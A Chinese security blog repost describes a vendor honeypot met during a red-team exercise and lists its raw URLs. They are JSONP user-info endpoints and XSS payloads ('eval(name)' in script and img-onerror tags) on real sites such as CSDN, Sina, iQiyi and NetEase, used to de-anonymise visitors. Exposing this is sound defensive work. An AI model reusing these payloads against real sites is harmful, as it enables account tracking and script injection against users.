某司蜜罐jsonp、xss接口

admin 2020年11月9日11:32:29评论194 views字数 5782阅读19分16秒阅读模式

话说,攻防演练,看到某个后台,进去以后,疯狂的访问某些接口。

后台长这样:


某司蜜罐jsonp、xss接口

然后,接口如下:

https://ajax.58pic.com/58pic/index.php?m=adManageSystem&a=showAdDeliveryForPosition&callback=%3Cscript%3Eeval(name)%3C/script%3E&position=31&keyword=XXX&_=1590829943379https://api.csdn.net/oauth/authorize?client_id=1000001&redirect_uri=http://www.iteye.com/auth/csdn/callback&response_type=%22https%3A%2F%2Fapi.csdn.net%2Foauth%2Fauthorize%3Fclient_id%3D1000001%26redirect_uri%3Dhttp%3A%2F%2Fwww.iteye.com%2Fauth%2Fcsdn%2Fcallback%26response_type%3D%22%3E%3Cimg%20src%3Dx%20onerror%3Deval(window.name)%3Ehttp://databack.dangdang.com/dde.php?platform=pc&type=3&url=http%253A%252F%252Fwww.dangdang.com%252F&charset=GBK&perm_id=20200530121832924211210288241440628&page_id=mix_317715&website=dangdang.com&expose=%255B%2522mix_317715.3208542%252C9339%252C9354..%2522%252C%2522mix_317715.3208542%252C9339%252C9356..%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9341..%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.1.%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.2.%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.3.%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.4.%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.5.%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.6.%2522%252C%2522mix_317715.3208542%252C9339%252C9356%252C9342.7.%2522%255D&callback=%3Ciframe/src=javascript:eval(window.parent.name)%3Ehttps://hd.huya.com/web/anchor_recruit/index.html?id=42566%26callback=eval(name)%23&anchorsrc=0https://iask.sina.com.cn/cas/logins?domain=iask.sina.com.cn&businessSys=iask&channel=null&popup=show&clsId=undefined&fid=%22%3E%3Cscript%3Eeval(name)%3C/script%3Ehttps://www.iqiyi.com/intl/invite.html?lang=zh_cn&mod=&uid=34001220748&sh_pltf=%22%3E%3Cimg%20src%3Dx%20onerror%3Deval(window.name)%3E%3C!--https://yys.cbg.163.com/cgi/mweb/search/r/role?keyword=xxxx&callback=eval(name);%2F%2Fhttps://c.v.qq.com/vuserinfo?otype=json&callback=jsonp_callback_7qmpb7gIhttps://wap.sogou.com/passport?op=get_userinfo&_=1545658098069&callback=jsonp_callback_Ndd7gI2ohttps://v2.sohu.com/user/info/web?&callback=jsonp_callback_ESlgJFOUhttp://passport.game.renren.com/user/info?callback=jsonp_callback_3SvhHiZShttp://passport.tianya.cn/online/checkuseronline.jsp?t=1584614187028&callback=callbackhttps://analyze.pwnchain.cn/s/jquery.min.js?v=1604891764518https://api.m.jd.com/client.action?functionId=getBabelProductPaged&body=%7b%22%73%65%63%6f%6e%64%54%61%62%49%64%22%3a%22%30%30%31%35%35%35%35%34%37%30%38%39%33%5f%30%33%37%32%36%36%30%30%5f%22%2c%22%74%79%70%65%22%3a%22%30%22%2c%22%70%61%67%65%4e%75%6d%22%3a%22%31%22%2c%22%6d%69%74%65%6d%41%64%64%72%49%64%22%3a%22%22%2c%22%67%65%6f%22%3a%7b%22%6c%6e%67%22%3a%22%22%2c%22%6c%61%74%22%3a%22%22%7d%2c%22%61%64%64%72%65%73%73%49%64%22%3a%22%22%2c%22%70%6f%73%4c%6e%67%22%3a%22%22%2c%22%70%6f%73%4c%61%74%22%3a%22%22%2c%22%66%6f%63%75%73%22%3a%22%22%2c%22%69%6e%6e%65%72%41%6e%63%68%6f%72%22%3a%22%22%7d&screen=2799*1208&client=wh5&clientVersion=1.0.0&sid=&uuid=&area=&_=1585823068850&callback=jsonp1https://api.csdn.net/oauth/xhttps://www.zbj.com/g/service/api/getUserPhone?&callback=jsonp_callback_eAkznysFhttps://bbs.zhibo8.cc/user/userinfo?device=pc&_=1584613345023&callback=jsonp_callback_dApN65sUhttps://l.huya.com/udb_web/udbport2.php?m=HuyaLogin&do=checkLogin&callback=jQuery22407402084422104858_1604891765254&_=1604891765255https://www.huya.com/cacheapp.php?m=UpcomingApi&do=getUpcomingDetailById&id=42566&callback=eval(name)https://yys.cbg.163.com/cgi/show_login?back_url=%2Fcgi%2Fmweb%2Fsearch%2Fr%2Frole%3Fkeyword%3Dxxxx%26callback%3Deval%2528name%2529%253B%252F%252Fhttps://t.captcha.qq.com/template/captcha-pre-verify.htmlhttps://stc.iqiyipic.com/js/qiyiV2/notFoundEntryIndex_ver.js?1oqi4nlhttps://captcha.gtimg.com/public/2/captcha-token-detect.htmlhttps://static.iqiyi.com/js/sdkpack/sdkpackmanager.js?v=0.5962165569518767https://pcw-api.iqiyi.com/resource/resource/online/13384501312?callback=jQuery09802066480284193_1604891766673&_=1604891766673https://other-tracer.cbg.163.com/1.gif?log=page_load&status=1&time=1350&info=1536x864&product=yys&client_type=h5&useragent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F86.0.4240.183%20Safari%2F537.36&from=https%3A%2F%2Fyys.cbg.163.com%2Fcgi%2Fmweb%2Fsearch%2Fr%2Frole%3Fkeyword%3Dxxxx%26callback%3Deval(name)%3B%252F%252F&fingerprint=&urs=https://dl.reg.163.com/webzj/v1.0.1/pub/index2_new.html?cd=https%3A%2F%2Fcbg-yys.res.netease.com%2Frc3fe8fa6b23ba7e6c786b&cf=%2Fcss%2Furs-login-with-phone.css&MGID=1604891767595.462&wdaId=&pkid=aqpOBwV&product=cbghttps://other-tracer.cbg.163.com/1.gif?filename=https%3A%2F%2Fpr.nss.netease.com%2Fsentry%2Fpassive%3FclusterName%3Durs-webzj-static-passive%26modelName%3Dwebzj_response_time2%26one%3D1%26pd%3Dcbg%26pkid%3DaqpOBwV%26uapi%3DrenderOk%26dataTime%3D1604891769063%26domain%3Ddl.reg.163.com%26step1%3D0%26step2%3D0%26step3%3D1%26step4%3D0%26step5%3D0%26step6%3D0%26step7%3D0%26step8%3D0%26step9%3D0%26step10%3D0&msg=LOAD_FAILED&idx=1&pagestatus=load&loadtime=681&duration=2674&product=yys&log=js_error&client_type=h5&useragent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F86.0.4240.183%20Safari%2F537.36&from=https%3A%2F%2Fyys.cbg.163.com%2Fcgi%2Fmweb%2Fsearch%2Fr%2Frole%3Fkeyword%3Dxxxx%26callback%3Deval(name)%3B%252F%252F&fingerprint=&urs=https://pcw-api.iqiyi.com/resource/resource/online/31291356312?callback=window.Q.__callbacks__.cbdxtwpnhttps://pcw-api.iqiyi.com/resource/resource/multionline/1326049912,208039112?callback=qiyiheaderSdkJsonpCallback1https://api.ip.sb/jsonip?callback=jsonp_callback_kOXSMRh9

部分已经修复,各位加油。

本文始发于微信公众号(川云安全团队):某司蜜罐jsonp、xss接口

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月9日11:32:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某司蜜罐jsonp、xss接口http://cn-sec.com/archives/181765.html

发表评论

匿名网友 填写信息